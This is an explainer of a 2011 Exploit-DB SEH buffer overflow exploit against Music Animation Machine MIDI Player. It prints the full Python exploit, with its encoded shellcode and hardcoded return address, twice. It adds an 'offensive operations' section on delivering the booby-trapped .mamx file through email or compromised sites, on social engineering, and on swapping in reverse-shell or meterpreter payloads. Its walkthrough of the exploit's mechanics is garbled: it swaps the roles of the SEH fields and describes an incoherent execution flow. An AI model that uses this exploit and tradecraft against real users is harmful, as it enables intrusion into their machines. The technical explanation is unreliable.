Music Animation Machine MIDI Player Local Buffer Overflow (SEH) Explained

Music Animation Machine MIDI Player Local Buffer Overflow (SEH) Explained
What this paper is
This paper details a local buffer overflow vulnerability in the Music Animation Machine (MAM) MIDI Player, specifically version 2006aug19 Release 035. The vulnerability allows an attacker to overwrite the Structured Exception Handler (SEH) chain, leading to arbitrary code execution when a malformed .mamx file is opened by the vulnerable application. The exploit provided is a Python script that generates this malicious .mamx file.
Simple technical breakdown
The core of this exploit relies on a buffer overflow. When the MAM MIDI Player processes a specially crafted .mamx file, it attempts to store data in a fixed-size buffer. If the input data is larger than the buffer, it spills over into adjacent memory locations.
This exploit targets the SEH mechanism. In Windows, when an unhandled exception occurs (like a buffer overflow corrupting critical data), the system looks for an SEH handler to execute. This exploit overwrites the SEH pointer with a value that points to attacker-controlled code.
The exploit constructs a .mamx file with several parts:
- Junk data (
junk): Fills up space until the vulnerable buffer is reached. - SEH overwrite (
seh): This is the crucial part. It contains a small piece of code (a "jump to the next instruction") that, when executed, will redirect control flow. - New SEH handler (
nseh): This is a pointer to the attacker's shellcode. - Padding (
pad): More filler data. - Payload (
pl): The actual shellcode that will be executed. - More Junk (
junk2): Fills the rest of the file to ensure it's large enough to trigger the overflow.
When the application opens the .mamx file, the overflow occurs, corrupting the SEH handler. The system then attempts to execute the SEH handler, which is now controlled by the attacker, leading to the execution of the payload.
Complete code and payload walkthrough
The Python script generates a malicious .mamx file. Let's break down the components:
#!/usr/bin/python
junk='\x41' * 112
seh='\xeb\x06\x90\x90'
pad='\x90' * 10
junk2='\x42' * 9496
# Sorry for this quick and dirty one;
# CALL DWORD PTR SS: EBP+C @ VBOXMRXN.DLL
# When in Doubt, find your own pop,pop,ret
# VBOXMRXN.DLL Virtualbox Version: 3.2.10 Build:r66523
nseh='\xe5\xbd\x01\x10'
# msfpayload windows/messagebox
# badchars \x00\xff\x1a\x0d\x0a\x09\x0b\x0c\x20
pl=("\xd9\xce\xd9\x74\x24\xf4\x5b\x2b\xc9\xb8\xf4\x3a\xec\x53"
"\xb1\x55\x31\x43\x18\x83\xc3\x04\x03\x43\xe0\xd8\x19\x8a"
"\xe3\x86\x3b\x59\xd7\x4c\x8a\x70\xa5\xda\xdc\xbd\xad\xaf"
"\x6e\x0e\xa6\xc6\x9c\xe5\xce\x3a\x16\xbf\x26\xc8\x56\x60"
"\xbd\xf8\x9e\x2f\xd9\x71\x2c\xf6\xd8\xa8\x2d\xe8\xba\xc1"
"\xbe\xcf\x1e\x5d\x7b\x2c\xd5\x35\xac\x34\xe8\x5f\x27\x8e"
"\xf2\x14\x62\x2f\x03\xc0\x70\x1b\x4a\x9d\x43\xef\x4d\x4f"
"\x9a\x10\x7c\x4f\x21\x42\xfa\x8f\xae\x9c\xc3\xdf\x42\xa2"
"\x04\x34\xa8\x9f\xf6\xef\x79\x95\xe7\x7b\x23\x71\xe6\x90"
"\xb2\xf2\xe4\x2d\xb0\x5f\xe8\xb0\x2d\xd4\x14\x38\xb0\x03"
"\x9d\x7a\x97\xcf\xfc\x41\x65\xe7\xd7\x91\x03\x1d\xae\xd8"
"\x7c\x50\xfe\xd2\x90\x3e\x16\x75\x97\x40\x19\x03\x2d\xbb"
"\x5e\x6a\x76\x21\xd3\x14\x9a\x82\x41\xf3\x2d\x35\x9a\xfc"
"\xbb\x8f\x6c\x6b\xd0\x63\x4c\x2a\x40\x4f\xbe\x82\xf4\xc7"
"\xcb\xa9\x91\x65\xbb\x12\x7e\x80\x32\x4c\x28\x6b\x11\x95"
"\x5c\x51\xc9\x2e\xf6\xf4\xa4\xec\x80\xe5\x12\x5f\x67\x74"
"\xa5\xa0\x88\x1f\x6a\x6a\x2f\xc0\xe4\xf5\xbc\x65\xc4\x9d"
"\x10\x03\x48\x3b\xfd\x89\xdf\x85\xdd\x65\x8c\x4c\x56\x56"
"\x5a\x26\x08\xf3\xba\xd0\x99\x9a\xd9\x48\x4a\x34\x72\xe7"
"\xaa\xae\xe5\x9a\xcb\x5a\x9d\x07\x2c\xe2\x33\xa0\x61\x91"
"\xb8\x59\x4b\x82\xb6\xc6\x8f\x1e\x4f\x15\xa7\x39\x2a\xb4"
"\x60\xae\xf5\x2b\xf8\x4a\x9d\x8b\x98\xeb\x7d\xa4\x72\x48"
"\x31\x78\xe3\x1d\x9b\xd8\xbd\xf5\x4d\x9b\x0e\x5e\x19\x3b"
"\xf0\x2a\xf9\x53\x94\xa1\x9c\xd7\x30\x3f\x7e\x77\xa7\xd7"
"\x3a\xee\x55\x5c\xf3\x39\x11\xd0\xd7\x9e\xab\x08\x26\x33"
"\xc1\x8a\x1b\xe2\x44\xf4\x4b\x35\xa9\x5a\x94\x63\x21\x51")
buff=junk+seh+nseh+pad+pl+pad+junk2
try:
filename = "crash.mamx"
print "[-]Music Animation Machine MIDI Player mamx SEH BOF..."
print "[-]Version:035 Release name: MAMPlayer2006-aug-19_035"
print "[-]Author: Acidgen\n"
print "[*]Generating crashfile:" + filename
file = open(filename,"w")
file.writelines(buff)
file.close()
print "[*]Done\n"
except:
print "[X]Error..."Code Fragment/Block -> Practical Purpose Mapping:
junk='\x41' * 112:- Purpose: This is a buffer of 112 bytes, filled with the ASCII character 'A' (
\x41). It serves to fill the initial part of the vulnerable buffer and reach the point where the SEH handler is stored in memory. The exact size (112) is determined by analyzing the application's memory layout and identifying the offset to the SEH handler.
- Purpose: This is a buffer of 112 bytes, filled with the ASCII character 'A' (
seh='\xeb\x06\x90\x90':- Purpose: This is the "SEH overwrite" value. It's a small piece of shellcode designed to be placed where the original SEH handler address was.
\xeb\x06: This is a short relative jump instruction (JMP rel8). It means "jump forward 6 bytes".\x90\x90: These are NOP (No Operation) instructions. They do nothing but consume CPU cycles.
- Behavior: When the SEH exception occurs, the program will try to jump to this
sehvalue. TheJMP rel8will jump over the two\x90bytes, landing on the first byte ofnseh. This is a common technique to "skip" over thesehbytes themselves and land directly on the attacker-controlled pointer.
- Purpose: This is the "SEH overwrite" value. It's a small piece of shellcode designed to be placed where the original SEH handler address was.
pad='\x90' * 10:- Purpose: These are NOP instructions used as padding. They provide a small buffer of "safe" instructions.
junk2='\x42' * 9496:- Purpose: This is a large buffer of 9496 bytes, filled with the ASCII character 'B' (
\x42). It fills the remaining space in the.mamxfile after the payload and padding. This is important to ensure the file is large enough to trigger the overflow and to prevent potential crashes due to unexpected file truncation or data corruption in later parts of the file.
- Purpose: This is a large buffer of 9496 bytes, filled with the ASCII character 'B' (
nseh='\xe5\xbd\x01\x10':- Purpose: This is the "New SEH handler" address. It's a pointer to the attacker's shellcode.
- Origin: The comment
# CALL DWORD PTR SS: EBP+C @ VBOXMRXN.DLLis a crucial hint. It suggests that the exploit author found a reliable address withinVBOXMRXN.DLL(a VirtualBox driver, which is unusual for a general Windows exploit but might be present in the test environment) that can be used as a jump target. The address0x1001BD E5(reversed byte order for little-endian systems) is likely a valid address within this DLL that points to executable code. This address is chosen because it's expected to be loaded into memory when the application runs and is not subject to ASLR (Address Space Layout Randomization) if the DLL is not compiled with it.
pl=("\xd9\xce\xd9\x74\x24\xf4\x5b\x2b\xc9\xb8\xf4\x3a\xec\x53" ... "):- Purpose: This is the actual shellcode, generated using
msfpayload(Metasploit Framework's payload generator). The comment# msfpayload windows/messageboxindicates its function: to display a Windows message box. - Bad Characters: The comment
# badchars \x00\xff\x1a\x0d\x0a\x09\x0b\x0c\x20lists characters that are problematic for this shellcode. These characters (null byte, form feed, carriage return, line feed, tab, vertical tab, form feed, space) often cause issues in string manipulation or network transmission. Theshikata_ga_naiencoder used by Metasploit is designed to avoid these. - Shellcode Breakdown (Conceptual): This is a complex sequence of x86 assembly instructions. Without disassembling it, we can infer its general purpose:
- Stage 1 (Decoder/Setup): The initial bytes (
\xd9\xce\xd9\x74\x24\xf4) are typical of Metasploit'sshikata_ga_naiencoder, which is a polymorphic encoder. This stage likely decodes the rest of the shellcode. - Stage 2 (Payload Execution): The subsequent bytes are the actual payload logic. For a
windows/messageboxpayload, this would involve:- Finding the address of necessary Windows API functions (like
LoadLibraryA,GetProcAddress,MessageBoxA). - Loading
user32.dll(if not already loaded). - Resolving the address of
MessageBoxA. - Calling
MessageBoxAwith predefined text (e.g., "This is a test!").
- Finding the address of necessary Windows API functions (like
- Stage 1 (Decoder/Setup): The initial bytes (
- Purpose: This is the actual shellcode, generated using
buff=junk+seh+nseh+pad+pl+pad+junk2:- Purpose: This line concatenates all the previously defined parts into a single byte string (
buff) that will be written to the.mamxfile. The order is critical:junkto reach the buffer,sehto overwrite the original SEH pointer,nsehto point to our shellcode,padfor safety,pl(the shellcode),padagain, and finallyjunk2to fill the rest of the file.
- Purpose: This line concatenates all the previously defined parts into a single byte string (
Execution Flow:
- The Python script creates
crash.mamx. - The user opens
crash.mamxwith MAM MIDI Player. - The player reads the file, encountering the overflow.
- The
junkdata fills the buffer. - The
sehdata overwrites the original SEH handler address. - The
nsehdata (the pointer0x1001BDE5) is placed immediately afterseh. - An exception occurs (e.g., due to the overflow).
- Windows attempts to use the SEH handler. It reads the SEH pointer, which is now
0x1001BDE5. - The program jumps to
0x1001BDE5. - The
sehbytes (\xeb\x06\x90\x90) are executed. TheJMP rel8jumps 6 bytes forward, landing on thensehvalue. - The program jumps to the address stored in
nseh(0x1001BDE5). - The shellcode (
pl) at that memory location (which was placed there by the overflow) begins to execute. - The
plshellcode, being awindows/messageboxpayload, displays a message box.
Practical details for offensive operations teams
- Required Access Level: Local access to the target machine is required to place the malicious
.mamxfile and execute it. This is a local privilege escalation or client-side attack vector. - Lab Preconditions:
- A target machine with the vulnerable version of MAM MIDI Player (2006aug19 Release 035) installed.
- The target OS should be compatible with the shellcode (Windows XP SP2 SE is explicitly mentioned).
- The specific DLL (
VBOXMRXN.DLL) and its address (0x1001BDE5) must be present and loaded in memory at the time of execution. This implies the test environment might have had VirtualBox drivers installed, which is an unusual dependency for a general exploit. If this DLL is not present or the address is different, the exploit will fail. - The exploit relies on predictable memory addresses for the SEH handler and the target DLL. This means ASLR (Address Space Layout Randomization) must be disabled or bypassed for the target process/DLL, which was common on older Windows versions like XP.
- Tooling Assumptions:
- Python: For generating the
.mamxfile. - Metasploit Framework (msfpayload): To generate the shellcode. The specific encoder (
shikata_ga_nai) and payload (windows/messagebox) are specified. - Debugger (e.g., Immunity Debugger, WinDbg): Essential for identifying the exact offset to the SEH handler, finding reliable jump targets (like the
VBOXMRXN.DLLaddress), and verifying shellcode execution. - Exploit Development Environment: A virtual machine with the target OS and vulnerable application.
- Python: For generating the
- Execution Pitfalls:
- DLL Dependency: The reliance on
VBOXMRXN.DLLis a major dependency. If this DLL is not present or its base address changes, thensehpointer will be invalid, and the exploit will fail. This is a significant limitation for a general-purpose exploit. - ASLR/DEP: Modern operating systems employ ASLR and Data Execution Prevention (DEP). ASLR randomizes memory addresses, making hardcoded pointers unreliable. DEP prevents code execution from data segments. This exploit would likely fail on systems with these protections enabled unless specific bypass techniques are employed.
- Antivirus/EDR: The generated shellcode might be detected by signature-based antivirus or behavioral analysis by EDR solutions. The use of
shikata_ga_naiis an attempt to evade static analysis, but dynamic analysis might still flag it. - Exact Offset: The
junklength (112 bytes) is critical. If the offset to the SEH handler changes due to minor differences in the application build or OS environment, the overflow might not overwrite the SEH handler correctly, leading to a crash or no execution. - SEH Chain Corruption: If other SEH handlers are present and get corrupted in an unexpected way, the exception handling flow might diverge, causing the exploit to fail.
- DLL Dependency: The reliance on
- Tradecraft Considerations:
- Delivery: The
.mamxfile would need to be delivered to the target user, perhaps via email attachment, a shared drive, or a compromised website. - Social Engineering: The user would need to be convinced to open the malicious
.mamxfile. - Stealth: The exploit itself is local. The primary stealth concern is the delivery mechanism and the potential for the generated file or the running process to be flagged by security software.
- Payload Customization: For a real-world scenario, the
windows/messageboxpayload would be replaced with a more useful one, such as a reverse shell, meterpreter, or a credential dumping tool. This would require regenerating the shellcode with appropriate bad character handling for the new payload.
- Delivery: The
Where this was used and when
- Approximate Year: Published in January 2011. Exploits of this nature were common in the late 2000s and early 2010s, targeting older software versions with less robust memory protection mechanisms.
- Context: This exploit targets a specific application (
Music Animation Machine MIDI Player). Its usage would be limited to environments where this particular software was installed and used. The mention ofVBOXMRXN.DLLsuggests it might have been tested or discovered in a VirtualBox environment, but this is not a definitive indicator of widespread use in the wild. It's more likely that the author found this DLL address useful for their specific test setup.
Defensive lessons for modern teams
- Patch Management: The most crucial defense is to keep software updated. This vulnerability is in a specific, older version of the MAM MIDI Player. Applying patches or upgrading to newer versions eliminates the vulnerability.
- Application Whitelisting: Prevent unauthorized or known vulnerable applications from running.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious file creation (e.g.,
.mamxfiles with unusual content) and process behavior (e.g., unexpected API calls for message box creation, or unusual memory access patterns). - Memory Protection: Ensure modern OS features like ASLR and DEP are enabled and properly configured. These protections make it significantly harder for buffer overflow exploits to reliably execute arbitrary code.
- Sandboxing: Running untrusted applications or files in a sandboxed environment can contain the impact of a successful exploit.
- File Type Filtering: Implement controls to block or scan potentially malicious file types, especially those associated with media playback or document processing, if they are not essential for business operations.
- Security Awareness Training: Educate users about the risks of opening files from untrusted sources.
ASCII visual (if applicable)
This exploit's flow can be visualized as follows:
+-----------------------+ +-----------------------+ +-----------------------+
| MAM MIDI Player | | Vulnerable Buffer | | Exception Occurs |
| (Loading .mamx) | --> | (Overflow happens) | --> | (SEH handler called) |
+-----------------------+ +-----------------------+ +-----------------------+
|
| Overwrites
v
+-----------------------+ +-----------------------+ +-----------------------+
| Exploit File (.mamx) | | Memory Layout | | SEH Handler Chain |
| | | ------------------- | | ------------------- |
| [ Junk (112 bytes) ] | --> | [ Buffer Data ] | --> | [ Original SEH ] |
| [ SEH Overwrite ] | | [ SEH Handler Addr ] | | [ Attacker's Addr ] | <-- Points to Shellcode
| [ New SEH Addr ] | | [ ... ] | | [ ... ] |
| [ Padding ] | | [ Shellcode ] | +-----------------------+
| [ Shellcode (pl) ] | | [ Junk2 ] |
| [ Padding ] | | ------------------- |
| [ Junk2 (9496 bytes)]| +-----------------------+
+-----------------------+
|
| Jumps to
v
+-----------------------+ +-----------------------+
| VBOXMRXN.DLL (or | --> | Shellcode Execution |
| other loaded module) | | (MessageBox pops up)|
| (Address: 0x1001BDE5)| +-----------------------+
+-----------------------+Explanation of the diagram:
- The MAM MIDI Player loads the malicious
.mamxfile. - As it processes the file, a buffer overflow occurs within a vulnerable buffer.
- The overflow overwrites the memory location where the SEH handler address is stored.
- The exploit file contains:
Junkto reach the overflow point.SEH Overwritewhich is a small jump instruction.New SEH Addrwhich is the address of the shellcode.Shellcode (pl)which is the actual payload.Junk2to fill the rest of the file.
- When an exception occurs, the system looks for the SEH handler. It finds the overwritten address, which points to the
New SEH Addr. - The
SEH Overwritebytes (\xeb\x06\x90\x90) are executed. TheJMP rel8instruction jumps over itself and lands on theNew SEH Addr. - The program jumps to the address provided in
New SEH Addr. This address is expected to be within a loaded module likeVBOXMRXN.DLL. - The shellcode at that memory location is executed, leading to the payload (a message box in this case).
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/15901
- Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip
- Related POC/DoS: http://www.exploit-db.com/exploits/15897/ (Mentioned in the paper's credits)
Original Exploit-DB Content (Verbatim)
# Exploit Title: Music Animation Machine MIDI Player MAMX SEH BOF
# Date 1/4/2011
# Author: Acidgen mailto:spam(a t h)grayhat.se
# Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip
# Version: 2006aug19 Release 035
# Tested on: Windows XP SP2 SE (Virtualbox Version: 3.2.10 Build:r66523)
# Credits go to c0d3R'Z, without his released MIDI POC/DoS
# (http://www.exploit-db.com/exploits/15897/)
# I wouldn't have found this app to play with in the first place.
#!/usr/bin/python
junk='\x41' * 112
seh='\xeb\x06\x90\x90'
pad='\x90' * 10
junk2='\x42' * 9496
# Sorry for this quick and dirty one;
# CALL DWORD PTR SS: EBP+C @ VBOXMRXN.DLL
# When in Doubt, find your own pop,pop,ret
# VBOXMRXN.DLL Virtualbox Version: 3.2.10 Build:r66523
nseh='\xe5\xbd\x01\x10'
# msfpayload windows/messagebox
# badchars \x00\xff\x1a\x0d\x0a\x09\x0b\x0c\x20
# [*] x86/shikata_ga_nai succeeded with size 364 (iteration=1)
pl=("\xd9\xce\xd9\x74\x24\xf4\x5b\x2b\xc9\xb8\xf4\x3a\xec\x53"
"\xb1\x55\x31\x43\x18\x83\xc3\x04\x03\x43\xe0\xd8\x19\x8a"
"\xe3\x86\x3b\x59\xd7\x4c\x8a\x70\xa5\xda\xdc\xbd\xad\xaf"
"\x6e\x0e\xa6\xc6\x9c\xe5\xce\x3a\x16\xbf\x26\xc8\x56\x60"
"\xbd\xf8\x9e\x2f\xd9\x71\x2c\xf6\xd8\xa8\x2d\xe8\xba\xc1"
"\xbe\xcf\x1e\x5d\x7b\x2c\xd5\x35\xac\x34\xe8\x5f\x27\x8e"
"\xf2\x14\x62\x2f\x03\xc0\x70\x1b\x4a\x9d\x43\xef\x4d\x4f"
"\x9a\x10\x7c\x4f\x21\x42\xfa\x8f\xae\x9c\xc3\xdf\x42\xa2"
"\x04\x34\xa8\x9f\xf6\xef\x79\x95\xe7\x7b\x23\x71\xe6\x90"
"\xb2\xf2\xe4\x2d\xb0\x5f\xe8\xb0\x2d\xd4\x14\x38\xb0\x03"
"\x9d\x7a\x97\xcf\xfc\x41\x65\xe7\xd7\x91\x03\x1d\xae\xd8"
"\x7c\x50\xfe\xd2\x90\x3e\x16\x75\x97\x40\x19\x03\x2d\xbb"
"\x5e\x6a\x76\x21\xd3\x14\x9a\x82\x41\xf3\x2d\x35\x9a\xfc"
"\xbb\x8f\x6c\x6b\xd0\x63\x4c\x2a\x40\x4f\xbe\x82\xf4\xc7"
"\xcb\xa9\x91\x65\xbb\x12\x7e\x80\x32\x4c\x28\x6b\x11\x95"
"\x5c\x51\xc9\x2e\xf6\xf4\xa4\xec\x80\xe5\x12\x5f\x67\x74"
"\xa5\xa0\x88\x1f\x6a\x6a\x2f\xc0\xe4\xf5\xbc\x65\xc4\x9d"
"\x10\x03\x48\x3b\xfd\x89\xdf\x85\xdd\x65\x8c\x4c\x56\x56"
"\x5a\x26\x08\xf3\xba\xd0\x99\x9a\xd9\x48\x4a\x34\x72\xe7"
"\xaa\xae\xe5\x9a\xcb\x5a\x9d\x07\x2c\xe2\x33\xa0\x61\x91"
"\xb8\x59\x4b\x82\xb6\xc6\x8f\x1e\x4f\x15\xa7\x39\x2a\xb4"
"\x60\xae\xf5\x2b\xf8\x4a\x9d\x8b\x98\xeb\x7d\xa4\x72\x48"
"\x31\x78\xe3\x1d\x9b\xd8\xbd\xf5\x4d\x9b\x0e\x5e\x19\x3b"
"\xf0\x2a\xf9\x53\x94\xa1\x9c\xd7\x30\x3f\x7e\x77\xa7\xd7"
"\x3a\xee\x55\x5c\xf3\x39\x11\xd0\xd7\x9e\xab\x08\x26\x33"
"\xc1\x8a\x1b\xe2\x44\xf4\x4b\x35\xa9\x5a\x94\x63\x21\x51")
buff=junk+seh+nseh+pad+pl+pad+junk2
try:
filename = "crash.mamx"
print "[-]Music Animation Machine MIDI Player mamx SEH BOF..."
print "[-]Version:035 Release name: MAMPlayer2006-aug-19_035"
print "[-]Author: Acidgen\n"
print "[*]Generating crashfile:" + filename
file = open(filename,"w")
file.writelines(buff)
file.close()
print "[*]Done\n"
except:
print "[X]Error..."